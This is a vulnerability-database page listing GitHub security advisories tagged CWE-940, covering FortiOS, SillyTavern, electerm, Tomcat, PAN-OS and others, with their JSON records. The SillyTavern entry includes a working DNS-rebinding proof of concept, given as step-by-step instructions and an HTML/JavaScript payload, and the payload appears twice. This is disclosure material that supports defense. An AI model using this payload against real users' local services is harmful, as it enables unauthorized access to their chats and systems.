Common Weakness Enumeration
CWE-940
AllowedImproper Verification of Source of a Communication Channel
Abstraction: Base · Status: Incomplete
The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.
92 vulnerabilities reference this CWE, most recent first.
GHSA-76XC-486M-C526
Vulnerability from github – Published: 2026-02-10 18:30 – Updated: 2026-05-12 15:31
VLAI
Details
An Improper Verification of Source of a Communication Channel vulnerability [CWE-940] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.4, FortiOS 7.4.0 through 7.4.9, FortiOS 7.2 all versions, FortiOS 7.0 all versions may allow an authenticated user with knowledge of FSSO policy configurations to gain unauthorized access to protected network resources via crafted requests.
Severity
4.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-62439"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-10T16:16:09Z",
"severity": "MODERATE"
},
"details": "An Improper Verification of Source of a Communication Channel vulnerability [CWE-940] vulnerability in Fortinet FortiOS 7.6.0 through 7.6.4, FortiOS 7.4.0 through 7.4.9, FortiOS 7.2 all versions, FortiOS 7.0 all versions may allow an authenticated user with knowledge of FSSO policy configurations to gain unauthorized access to protected network resources via crafted requests.",
"id": "GHSA-76xc-486m-c526",
"modified": "2026-05-12T15:31:14Z",
"published": "2026-02-10T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62439"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-975644.html"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-384"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7CXJ-W27X-X78Q
Vulnerability from github – Published: 2025-10-06 20:18 – Updated: 2025-10-06 20:18
VLAI
Summary
SillyTavern Web Interface Vulnerable DNS Rebinding
Details
Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320
Severity
9.6 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sillytavern"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59159"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-06T20:18:55Z",
"nvd_published_at": "2025-10-06T16:15:34Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.\n\n### Details\nDNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like `127.0.0.1` for a site\u0027s DNS address. This allows anybody to get remote access to anyone\u0027s SillyTavern instance **without** it being exposed, just by visiting a website. \n\n### PoC\n1. Host the PoC HTML file on a `/rebind.html` endpoint (or any other endpoint) on a web server on port 8000\n2. Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)\n3. Replace the URL in the HTML with the returned URL on the site\n4. Go to `http://[URL]:8000/rebind.html` in firefox or on any mobile browser if you\u0027re using termux\n5. Check the developer tools console. It should return all of the data \n\nHere is the PoC code:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"utf-8\"\u003e\n \u003ctitle\u003eRebind Payload\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nasync function tryRebind() {\n while (true) {\n try {\n let res = await fetch(\"http://[DOMAIN HERE]:8000/\");\n let text = await res.text();\n\n if (text.includes(\"Directory listing for /\")) {\n console.log(\"Still attacker server, retrying...\");\n await new Promise(r =\u003e setTimeout(r, 2000));\n continue; // don\u0027t break yet\n }\n\n console.log(\"GOT VICTIM RESPONSE!\");\n console.log(text.substring(0, 300));\n break;\n\n } catch (e) {\n console.log(\"Fetch failed, retrying...\", e);\n await new Promise(r =\u003e setTimeout(r, 2000));\n }\n }\n}\ntryRebind();\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Impact\nAttackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users\u0027 SillyTavern systems. \n\n### Resolution\nA vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: `hostWhitelist.enabled` in config.yaml file or `SILLYTAVERN_HOSTWHITELIST_ENABLED` environment variable.\n\nWhile the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.\n\n- [Documentation](https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting)\n- [Security checklist](https://docs.sillytavern.app/administration/#security-checklist)\n\n### Resources\n- https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320",
"id": "GHSA-7cxj-w27x-x78q",
"modified": "2025-10-06T20:18:55Z",
"published": "2025-10-06T20:18:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-7cxj-w27x-x78q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59159"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/commit/d134abd50e4a416e3b81233242583b0a23f38320"
},
{
"type": "WEB",
"url": "https://docs.sillytavern.app/administration/#security-checklist"
},
{
"type": "WEB",
"url": "https://docs.sillytavern.app/administration/config-yaml/#host-whitelisting"
},
{
"type": "PACKAGE",
"url": "https://github.com/SillyTavern/SillyTavern"
},
{
"type": "WEB",
"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.13.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SillyTavern Web Interface Vulnerable DNS Rebinding"
}
GHSA-7P5M-V798-F8VV
Vulnerability from github – Published: 2026-05-14 20:29 – Updated: 2026-07-06 15:15
VLAI
Summary
Electerm Local code through electerm's single-instance socket
Details
Impact
Local code execution without UI interaction: any same-user process can send a JSON payload to electerm's single-instance socket/pipe, causing the app to create tabs and potentially spawn attacker-controlled local processes. Affects electerm single-instance installs on the machine.
Patches
- https://github.com/electerm/electerm/commit/0599e67069b00e376a2e962649aaad6096e63507
Workarounds
- Do not run unsafe command
References
- Report / credit: https://github.com/Curly-Haired-Baboon
- Electerm releases: https://github.com/electerm/electerm/releases
Severity
7.8 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.8.8"
},
"package": {
"ecosystem": "npm",
"name": "electerm"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.6"
},
{
"fixed": "3.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45353"
],
"database_specific": {
"cwe_ids": [
"CWE-732",
"CWE-94",
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:29:59Z",
"nvd_published_at": "2026-05-28T18:16:35Z",
"severity": "CRITICAL"
},
"details": "### Impact\n_Local code execution without UI interaction: any same-user process can send a JSON payload to electerm\u0027s single-instance socket/pipe, causing the app to create tabs and potentially spawn attacker-controlled local processes. Affects electerm single-instance installs on the machine._\n\n### Patches\n\n- https://github.com/electerm/electerm/commit/0599e67069b00e376a2e962649aaad6096e63507\n\n### Workarounds\n\n- Do not run unsafe command \n\n### References\n- Report / credit: https://github.com/Curly-Haired-Baboon\n- Electerm releases: https://github.com/electerm/electerm/releases",
"id": "GHSA-7p5m-v798-f8vv",
"modified": "2026-07-06T15:15:54Z",
"published": "2026-05-14T20:29:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/security/advisories/GHSA-7p5m-v798-f8vv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45353"
},
{
"type": "WEB",
"url": "https://github.com/electerm/electerm/commit/0599e67069b00e376a2e962649aaad6096e63507"
},
{
"type": "PACKAGE",
"url": "https://github.com/electerm/electerm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Electerm Local code through electerm\u0027s single-instance socket"
}
GHSA-84R6-PWMM-H2FW
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30
VLAI
Details
Affected products do not properly enforce TCP sequence number validation in specific scenarios but accept values within a broad range. This could allow an unauthenticated remote attacker e.g. to interfere with connection setup, potentially leading to a denial of service. The attack succeeds only if an attacker can inject IP packets with spoofed addresses at precisely timed moments, and it affects only TCP-based services.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-40820"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:17:46Z",
"severity": "HIGH"
},
"details": "Affected products do not properly enforce TCP sequence number validation in specific scenarios but accept values within a broad range. This could allow an unauthenticated remote attacker e.g. to interfere with connection setup, potentially leading to a denial of service. The attack succeeds only if an attacker can inject IP packets with spoofed addresses at precisely timed moments, and it affects only TCP-based services.",
"id": "GHSA-84r6-pwmm-h2fw",
"modified": "2025-12-09T18:30:36Z",
"published": "2025-12-09T18:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40820"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-915282.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8F27-8FR7-2363
Vulnerability from github – Published: 2025-01-24 18:31 – Updated: 2025-01-24 18:31
VLAI
Details
An issue was discovered in Deepin dde-api-proxy through 1.0.19 in which unprivileged users can access D-Bus services as root. Specifically, dde-api-proxy runs as root and forwards messages from arbitrary local users to legacy D-Bus methods in the actual D-Bus services, and the actual D-Bus services don't know about the proxy situation (they believe that root is asking them to do things). Consequently several proxied methods, that shouldn't be accessible to non-root users, are accessible to non-root users. In situations where Polkit is involved, the caller would be treated as admin, resulting in a similar escalation of privileges.
Severity
8.4 (High)
{
"affected": [],
"aliases": [
"CVE-2025-23222"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-24T17:15:15Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Deepin dde-api-proxy through 1.0.19 in which unprivileged users can access D-Bus services as root. Specifically, dde-api-proxy runs as root and forwards messages from arbitrary local users to legacy D-Bus methods in the actual D-Bus services, and the actual D-Bus services don\u0027t know about the proxy situation (they believe that root is asking them to do things). Consequently several proxied methods, that shouldn\u0027t be accessible to non-root users, are accessible to non-root users. In situations where Polkit is involved, the caller would be treated as admin, resulting in a similar escalation of privileges.",
"id": "GHSA-8f27-8fr7-2363",
"modified": "2025-01-24T18:31:13Z",
"published": "2025-01-24T18:31:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23222"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1229918"
},
{
"type": "WEB",
"url": "https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2025/01/24/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-96F7-VMP7-7RVH
Vulnerability from github – Published: 2026-06-18 18:35 – Updated: 2026-06-18 18:35
VLAI
Details
The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Civilian Board of Contract Appeals (CBCA) Electronic Docketing System (EDS) do not validate X-Forwarded-For HTTP headers, allowing a remote attacker with compromised administrator credentials to bypass network access controls and log in.
Severity
4.7 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-54106"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-18T17:16:33Z",
"severity": "MODERATE"
},
"details": "The U.S. Government Accountability Office (GAO) Electronic Protest Docketing System (EPDS) and Civilian Board of Contract Appeals (CBCA) Electronic Docketing System (EDS) do not validate X-Forwarded-For HTTP headers, allowing a remote attacker with compromised administrator credentials to bypass network access controls and log in.",
"id": "GHSA-96f7-vmp7-7rvh",
"modified": "2026-06-18T18:35:24Z",
"published": "2026-06-18T18:35:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54106"
},
{
"type": "WEB",
"url": "https://epds.gao.gov"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-169-01.json"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54106"
},
{
"type": "WEB",
"url": "https://www.eds.cbca.gov/login"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9HJV-9H75-XMPP
Vulnerability from github – Published: 2022-05-14 01:18 – Updated: 2024-02-22 19:41
VLAI
Summary
Improper Verification of Source of a Communication Channel in Apache Tomcat
Details
The setGlobalContext method in org/apache/naming/factory/ResourceLinkFactory.java in Apache Tomcat 7.x before 7.0.68, 8.x before 8.0.31, and 9.x before 9.0.0.M3 does not consider whether ResourceLinkFactory.setGlobalContext callers are authorized, which allows remote authenticated users to bypass intended SecurityManager restrictions and read or write to arbitrary application data, or cause a denial of service (application disruption), via a web application that sets a crafted global context.
Severity
6.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.0.68"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.32"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.0.M2"
},
"package": {
"ecosystem": "Maven",
"name": "org.apache.tomcat:tomcat"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0M1"
},
{
"fixed": "9.0.0.M3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2016-0763"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2022-07-06T20:06:41Z",
"nvd_published_at": "2016-02-25T01:59:00Z",
"severity": "MODERATE"
},
"details": "The `setGlobalContext` method in `org/apache/naming/factory/ResourceLinkFactory.java` in Apache Tomcat 7.x before 7.0.68, 8.x before 8.0.31, and 9.x before 9.0.0.M3 does not consider whether ResourceLinkFactory.setGlobalContext callers are authorized, which allows remote authenticated users to bypass intended SecurityManager restrictions and read or write to arbitrary application data, or cause a denial of service (application disruption), via a web application that sets a crafted global context.",
"id": "GHSA-9hjv-9h75-xmpp",
"modified": "2024-02-22T19:41:03Z",
"published": "2022-05-14T01:18:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0763"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/76ebc9007567c8326217dd94844540e1e27d8468"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat/commit/c08641da04d31f730b56b8675301e55db97dfe88"
},
{
"type": "WEB",
"url": "https://github.com/apache/tomcat80/commit/0531f7aeff1999d362e0a68512a3517f2cf1a6ae"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20160404202803/http://www.securitytracker.com/id/1035069"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20160314101138/http://www.securityfocus.com/bid/83326"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20180531-0001"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201705-09"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r9136ff5b13e4f1941360b5a309efee2c114a14855578c3a2cbe5d19c%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551@%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
},
{
"type": "WEB",
"url": "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05324755"
},
{
"type": "WEB",
"url": "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05158626"
},
{
"type": "WEB",
"url": "https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05150442"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/tomcat"
},
{
"type": "WEB",
"url": "https://bto.bluecoat.com/security-advisory/sa118"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2016:1088"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2016:1087"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2016-March/179356.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00047.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00069.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00085.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-1089.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-2599.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-2807.html"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2016-2808.html"
},
{
"type": "WEB",
"url": "http://seclists.org/bugtraq/2016/Feb/147"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1725926"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1725929"
},
{
"type": "WEB",
"url": "http://svn.apache.org/viewvc?view=revision\u0026revision=1725931"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-7.html"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-8.html"
},
{
"type": "WEB",
"url": "http://tomcat.apache.org/security-9.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3530"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3552"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2016/dsa-3609"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-3024-1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Improper Verification of Source of a Communication Channel in Apache Tomcat"
}
GHSA-9PPW-9F8W-5R25
Vulnerability from github – Published: 2024-02-14 18:30 – Updated: 2024-02-14 18:30
VLAI
Details
An improper verification vulnerability in the GlobalProtect gateway feature of Palo Alto Networks PAN-OS software enables a malicious user with stolen credentials to establish a VPN connection from an unauthorized IP address.
Severity
6.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-0009"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-14T18:15:47Z",
"severity": "MODERATE"
},
"details": "An improper verification vulnerability in the GlobalProtect gateway feature of Palo Alto Networks PAN-OS software enables a malicious user with stolen credentials to establish a VPN connection from an unauthorized IP address.",
"id": "GHSA-9ppw-9f8w-5r25",
"modified": "2024-02-14T18:30:26Z",
"published": "2024-02-14T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0009"
},
{
"type": "WEB",
"url": "https://security.paloaltonetworks.com/CVE-2024-0009"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C35G-JR5F-H83P
Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2024-10-22 17:28
VLAI
Summary
SleekXMPP and Slixmpp Incorrect Implementation of Message Carbons
Details
An incorrect implementation of "XEP-0280: Message Carbons" in multiple XMPP clients allows a remote attacker to impersonate any user, including contacts, in the vulnerable application's display. This allows for various kinds of social engineering attacks. This CVE is for SleekXMPP up to 1.3.1 and Slixmpp all versions up to 1.2.3, as bundled in poezio (0.8 - 0.10) and other products.
Severity
5.9 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.3"
},
"package": {
"ecosystem": "PyPI",
"name": "slixmpp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.1"
},
"package": {
"ecosystem": "PyPI",
"name": "SleekXMPP"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-5591"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-03T23:06:53Z",
"nvd_published_at": "2017-02-09T20:59:00Z",
"severity": "MODERATE"
},
"details": "An incorrect implementation of \"XEP-0280: Message Carbons\" in multiple XMPP clients allows a remote attacker to impersonate any user, including contacts, in the vulnerable application\u0027s display. This allows for various kinds of social engineering attacks. This CVE is for SleekXMPP up to 1.3.1 and Slixmpp all versions up to 1.2.3, as bundled in poezio (0.8 - 0.10) and other products.",
"id": "GHSA-c35g-jr5f-h83p",
"modified": "2024-10-22T17:28:45Z",
"published": "2022-05-13T01:28:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5591"
},
{
"type": "WEB",
"url": "https://github.com/fritzy/SleekXMPP/issues/442"
},
{
"type": "WEB",
"url": "https://github.com/fritzy/SleekXMPP/commit/285495d5ee2427d93d961ceedcd1829383e5196d"
},
{
"type": "WEB",
"url": "https://github.com/poezio/slixmpp/commit/22664ee7b86c8e010f312b66d12590fb47160ad8"
},
{
"type": "PACKAGE",
"url": "https://github.com/poezio/slixmpp"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/sleekxmpp/PYSEC-2017-103.yaml"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/slixmpp/PYSEC-2017-104.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/sleekxmpp"
},
{
"type": "WEB",
"url": "https://pypi.org/project/slixmpp"
},
{
"type": "WEB",
"url": "https://rt-solutions.de/en/2017/02/CVE-2017-5589_xmpp_carbons"
},
{
"type": "WEB",
"url": "https://rt-solutions.de/wp-content/uploads/2017/02/CVE-2017-5589_xmpp_carbons.pdf"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200227192025/http://www.securityfocus.com/bid/96166"
},
{
"type": "WEB",
"url": "http://openwall.com/lists/oss-security/2017/02/09/29"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "SleekXMPP and Slixmpp Incorrect Implementation of Message Carbons "
}
GHSA-C6H3-VH8H-R8MJ
Vulnerability from github – Published: 2026-02-23 06:30 – Updated: 2026-02-23 06:30
VLAI
Details
A security vulnerability has been detected in Cesanta Mongoose up to 7.20. This affects the function getpeer of the file /src/net_builtin.c of the component TCP Sequence Number Handler. The manipulation leads to improper verification of source of a communication channel. The attack may be initiated remotely. The attack's complexity is rated as high. The exploitability is reported as difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-2967"
],
"database_specific": {
"cwe_ids": [
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-23T04:16:02Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in Cesanta Mongoose up to 7.20. This affects the function getpeer of the file /src/net_builtin.c of the component TCP Sequence Number Handler. The manipulation leads to improper verification of source of a communication channel. The attack may be initiated remotely. The attack\u0027s complexity is rated as high. The exploitability is reported as difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-c6h3-vh8h-r8mj",
"modified": "2026-02-23T06:30:18Z",
"published": "2026-02-23T06:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2967"
},
{
"type": "WEB",
"url": "https://github.com/dwBruijn/CVEs/blob/main/Mongoose/tcp_rst.md"
},
{
"type": "WEB",
"url": "https://github.com/dwBruijn/CVEs/blob/main/Mongoose/tcp_rst.md#poc"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.347334"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.347334"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.755450"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
